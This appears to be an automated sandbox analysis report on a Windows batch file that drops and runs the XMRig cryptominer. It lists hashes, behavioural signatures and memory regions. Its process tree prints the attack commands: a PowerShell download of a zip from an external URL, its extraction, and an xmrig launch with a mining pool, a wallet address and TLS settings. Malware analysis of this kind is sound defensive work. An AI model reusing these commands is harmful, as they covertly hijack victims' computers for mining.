Analysis

  • max time kernel
    1798s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2023, 21:39

General

  • Target

    tesy - Copy.bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 29 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2004
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4416
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:2576
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3632

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      6c4805e00673bef922d51b1a7137028f

      SHA1

      0eabb38482d1733dd85a2af9c5342c2cafcd41eb

      SHA256

      7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

      SHA512

      eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_emf0wssy.q0l.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\test1.zip

      Filesize

      3.2MB

      MD5

      95452958f42b1b93f0c887f59d84d19f

      SHA1

      c861dc457d57471ab42879f49cc8fe171e7c9b1c

      SHA256

      dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

      SHA512

      96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

      Filesize

      278B

      MD5

      080123b6eac4a332d3f2b11f6eb3aa54

      SHA1

      8f3d40eae881e3b871cff2aa85521d727ada2a64

      SHA256

      cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

      SHA512

      0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

      Filesize

      7.9MB

      MD5

      4813fa6d610e180b097eae0ce636d2aa

      SHA1

      1e9cd17ea32af1337dd9a664431c809dd8a64d76

      SHA256

      9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

      SHA512

      5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

    • memory/1324-5-0x000001C9FFFA0000-0x000001C9FFFC2000-memory.dmp

      Filesize

      136KB

    • memory/1324-11-0x000001C9FFCF0000-0x000001C9FFD00000-memory.dmp

      Filesize

      64KB

    • memory/1324-12-0x000001C9FFCF0000-0x000001C9FFD00000-memory.dmp

      Filesize

      64KB

    • memory/1324-6-0x00007FF899100000-0x00007FF899BC1000-memory.dmp

      Filesize

      10.8MB

    • memory/1324-16-0x00007FF899100000-0x00007FF899BC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2004-27-0x00007FF899100000-0x00007FF899BC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2004-32-0x00000161F3C00000-0x00000161F3C0A000-memory.dmp

      Filesize

      40KB

    • memory/2004-31-0x00000161F3DA0000-0x00000161F3DB2000-memory.dmp

      Filesize

      72KB

    • memory/2004-41-0x00007FF899100000-0x00007FF899BC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2004-30-0x00000161F3DD0000-0x00000161F3DE0000-memory.dmp

      Filesize

      64KB

    • memory/2004-28-0x00000161F3DD0000-0x00000161F3DE0000-memory.dmp

      Filesize

      64KB

    • memory/3632-101-0x000001C7C55D0000-0x000001C7C55D1000-memory.dmp

      Filesize

      4KB

    • memory/3632-66-0x000001C7BD140000-0x000001C7BD150000-memory.dmp

      Filesize

      64KB

    • memory/3632-102-0x000001C7C56E0000-0x000001C7C56E1000-memory.dmp

      Filesize

      4KB

    • memory/3632-100-0x000001C7C55D0000-0x000001C7C55D1000-memory.dmp

      Filesize

      4KB

    • memory/3632-98-0x000001C7C55A0000-0x000001C7C55A1000-memory.dmp

      Filesize

      4KB

    • memory/3632-82-0x000001C7BD240000-0x000001C7BD250000-memory.dmp

      Filesize

      64KB

    • memory/4416-64-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-49-0x0000021953C10000-0x0000021953C30000-memory.dmp

      Filesize

      128KB

    • memory/4416-53-0x0000021953C10000-0x0000021953C30000-memory.dmp

      Filesize

      128KB

    • memory/4416-54-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-55-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-56-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-57-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-58-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-59-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-60-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-61-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-62-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-63-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-46-0x0000021953BB0000-0x0000021953BF0000-memory.dmp

      Filesize

      256KB

    • memory/4416-65-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-51-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-50-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-52-0x0000021953BF0000-0x0000021953C10000-memory.dmp

      Filesize

      128KB

    • memory/4416-48-0x0000021953BF0000-0x0000021953C10000-memory.dmp

      Filesize

      128KB

    • memory/4416-45-0x0000021953B60000-0x0000021953B80000-memory.dmp

      Filesize

      128KB

    • memory/4416-47-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-103-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-104-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-105-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-106-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-107-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-108-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-110-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-111-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-112-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-113-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-114-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB

    • memory/4416-115-0x00007FF78F130000-0x00007FF78FC33000-memory.dmp

      Filesize

      11.0MB